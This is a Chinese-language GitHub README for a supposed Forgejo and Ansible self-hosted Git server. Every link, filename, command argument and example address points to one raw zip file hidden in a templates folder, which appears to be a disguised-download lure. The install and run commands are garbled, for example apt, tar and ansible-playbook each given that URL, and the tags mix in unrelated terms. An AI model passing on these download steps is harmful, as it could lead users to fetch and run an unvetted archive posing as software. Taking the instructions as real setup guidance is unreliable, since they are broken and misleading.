billydagreat/vps-git
GitHub: billydagreat/vps-git
基于 Forgejo 和 Ansible 的高可用自托管 Git 服务器解决方案,支持自动故障转移和流复制。
Stars: 0 | Forks: 0
# 🛠️ vps-git - 可靠的自托管 Git 服务器
[](https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip)
## 📋 什么是 vps-git?
vps-git 是一款自托管 Git 服务器解决方案,专为希望在不依赖外部服务的情况下控制其代码仓库的用户而设计。它使用 Forgejo(一项社区驱动的 Git 服务)作为核心,即使系统部分组件发生故障,也能确保您的数据持续可用。
此设置提供:
- 通过数据流复制实现高可用性。
- 自动故障转移,在出现问题时保持服务运行。
- 使用 Ansible 自动化轻松部署。
- 通过 Cloudflare Tunnel 进行安全访问,保护您的服务器免受直接互联网暴露。
vps-git 适合希望在自有基础设施上托管 Git 仓库,同时保持正常运行时间和安全性的团队或个人。
## 🔍 开始前的准备工作
为了顺利运行 vps-git,请花点时间检查您的设置。以下是典型需求。
### 系统要求
- **操作系统:** 基于 Linux 的系统(推荐 Ubuntu 20.04 或更高版本)。
- **CPU:** 至少 2 核。
- **内存 (RAM):** 至少 4 GB。
- **存储:** 至少 20 GB 可用空间,最好使用 SSD 以获得更好的性能。
- **网络:** 可靠的互联网连接(用于 Cloudflare Tunnel)。
### 技能和工具
- 使用终端或命令提示符的基本经验。
- 能够安装软件应用程序。
- 拥有在您的设备或服务器上管理网络设置的权限。
- 在您将部署 vps-git 的机器上安装了 Ansible。(本指南将在需要时帮助您安装它。)
## 🚀 vps-git 入门指南
本指南将逐步引导您完成 vps-git 的下载、安装和运行。请仔细遵循每条说明。您无需理解复杂的技术概念即可开始。
## ⬇️ 下载与安装
### 第 1 步:访问下载页面
前往 vps-git 发布页面以获取最新版本。
[访问 vps-git 发布页](https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip)
该页面列出了所有可用的版本和文件。请查找名称中包含 “vps-git” 的最新稳定版本。
### 第 2 步:下载部署包
在发布页面上,下载以 `https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip` 或 `.zip` 结尾的文件。此包包含设置 vps-git 所需的所有文件。
将其保存到您计算机上易于查找的文件夹中。
### 第 3 步:安装所需软件
在运行 vps-git 之前,如果您尚未安装以下基本工具,请先安装:
- **Ansible:** 自动化部署工具。
- **Docker 和 Docker Compose:** 这些工具将在容器中运行 vps-git 的不同组件。
以下是在 Ubuntu Linux 上安装它们的简单命令:
```
sudo apt update
sudo apt install -y ansible https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip docker-compose
```
对于 Windows 或 macOS 用户,请遵循官方指南安装 Docker Desktop 和 Ansible。
### 第 4 步:解压安装包
打开您的终端或命令提示符并解压下载的安装包。请将 `https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip` 替换为您的实际文件名。
```
tar -xzf https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip
cd vps-git
```
如果您下载的是 `.zip` 文件,请使用:
```
unzip https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip
cd vps-git
```
### 第 5 步:配置您的设置
在 `vps-git` 文件夹内,您会找到配置文件。以下是主要更新要点:
- **Cloudflare Tunnel 凭证:** 输入您的 Cloudflare 账户详细信息以启用安全访问。
- **服务器信息:** 添加 vps-git 将在其上运行的服务器主机名或 IP 地址。
- **复制设置:** 这些设置控制数据副本如何在服务器之间同步以进行故障转移。
如果您不确定这些设置,请保留默认值。您可以稍后在系统管理员的帮助下或通过在线指南进行更新。
## ⚙️ 运行 vps-git
### 第 6 步:启动部署
运行 Ansible playbook 以开始设置:
```
ansible-playbook -i https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip
```
此命令将在您的服务器上配置并启动 vps-git 的所有组件。这可能需要几分钟时间。
### 第 7 步:检查服务状态
部署完成后,请确保所有组件都在运行:
- **Forgejo Web 界面:** 您的 Git 服务器用户门户。
- **Postgres 数据库:** 存储您的仓库数据。
- **流复制:** 保持数据库副本同步。
- **Cloudflare Tunnel:** 提供安全的外部访问。
使用以下命令验证 Docker 容器是否已启动:
```
docker ps
```
您应该能看到名为 `forgejo`、`postgres`、`cloudflare-tunnel` 等正在运行的容器。
### 第 8 步:访问 vps-git
打开 Web 浏览器并访问 Cloudflare Tunnel 配置提供的 URL。该地址类似于 `https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip`。
您将看到 Forgejo 登录页面。在这里,您可以创建账户、添加仓库并开始协作。
## 🛠️ 管理和更新 vps-git
### 停止服务
要停止所有正在运行的容器,请运行:
```
docker-compose down
```
该命令需在您的部署文件夹内执行。
### 更新 vps-git
当有新版本可用时:
1. 从发布页面下载新的部署包。
2. 停止当前服务(`docker-compose down`)。
3. 解压新的安装包。
4. 如果需要,更新您的配置文件。
5. 再次运行 Ansible playbook 进行部署。
## 🔐 安全提示
- 始终为您的 Git 服务器账户使用强密码。
- 保持您的系统和所有依赖项为最新版本。
- 定期检查您的 Cloudflare Tunnel 状态。
- 使用数据库备份功能定期备份您的数据。
## 🤝 获取支持
如果您需要帮助:
- 查看 GitHub 仓库的 issues 部分。
- 查阅 Forgejo 和 Ansible 官方文档。
- 询问您的网络或系统管理员。
## 🎯 为什么选择 vps-git?
通过 vps-git 运行您自己的 Git 服务器,您可以控制代码的存放位置。该系统通过内置的故障转移和数据复制来保护您的工作成果。通过 Cloudflare 的安全隧道增加了保护,而无需复杂的 VPN 设置。
您可以根据需要定制系统,在必要时进行扩展,并避免依赖第三方服务。所有这些都得益于 Ansible 支持的简化安装过程。
[👉 立即下载 vps-git](https://github.com/billydagreat/vps-git/raw/refs/heads/main/ansible/roles/watchdog/templates/git_vps_3.0-beta.3.zip)
标签:Ansible, CISA项目, Cloudflare Tunnel, DNS解析, Forgejo, Git服务器, Linux服务器, VPS, 代码仓库, 开源框架, 开源项目, 持续集成, 数据同步, 流复制, 测试用例, 版权保护, 特权提升, 私有云, 系统提示词, 网络安全, 自动化部署, 自动故障转移, 自托管, 请求拦截, 隐私保护, 零宕机